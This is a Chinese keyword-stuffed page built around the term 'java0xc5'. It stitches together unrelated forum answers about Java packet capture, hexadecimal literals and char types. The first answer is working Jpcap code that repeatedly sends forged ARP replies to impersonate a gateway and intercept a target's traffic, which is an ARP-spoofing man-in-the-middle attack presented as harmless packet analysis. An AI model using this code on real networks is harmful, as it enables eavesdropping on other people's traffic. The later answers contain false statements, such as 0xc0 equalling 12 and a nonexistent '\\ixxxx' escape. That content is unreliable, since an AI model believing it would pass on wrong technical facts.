java0xc5的简单介绍
本篇文章给大家谈谈java0xc5,以及对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、JAVA程序获取封包IP,求帮忙写个程序分析封包IP。
- 2、c语言中0xc5怎么计算
- 3、0XC0 | 0X05在C语言中什么意思
- 4、java中char定义的问题(才学两天,小白问题)
- 5、您好,我想问下,您在java中怎么表示的无符号数据
JAVA程序获取封包IP,求帮忙写个程序分析封包IP。
public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //当前机器网卡设备
private IpMacMap targetIpMacMap; //目的地IP MAC对
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setFilter("ip", true); //只监听ip数据包
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//创建修改目标机器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//创建以太网头信息,并打包进reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截获当前网络设备的封包收发信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
c语言中0xc5怎么计算
0x是十六进制格式,实际上十六进制的一位就相当于二进制的4位,所以直接与二进制一一对应就可以了。题目中的0xc5中的5对应二进制的0101,0xc5中的c对应二进制的1100,所以0xc5=(1100,0101)下标2
0XC0 | 0X05在C语言中什么意思
0x开始的表示十六进制,0开头的表示八进制;0xc0换成十进制就是12,0x05十进制就是5。
java中char定义的问题(才学两天,小白问题)
你好!
A表示字符字面量,'\uxxxx'表示十六进制unicode码字符;B错误是因为没有使用'\ixxxx'表示的字符;C错误是因为缺少'';D错误是因为char类型变量只能用一个字符;E中的0x或者0X表示一个十六进制的字面量。
打字不易,采纳哦!
您好,我想问下,您在java中怎么表示的无符号数据
可以将C5这个toByte,具体用法:
String c5 = "C5";
bytes[] bys = c5.getBytes();
使用平台默认的字符集将此 String 解码为字节序列,并将结果存储到一个新的字节数组中。
关于java0xc5和的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。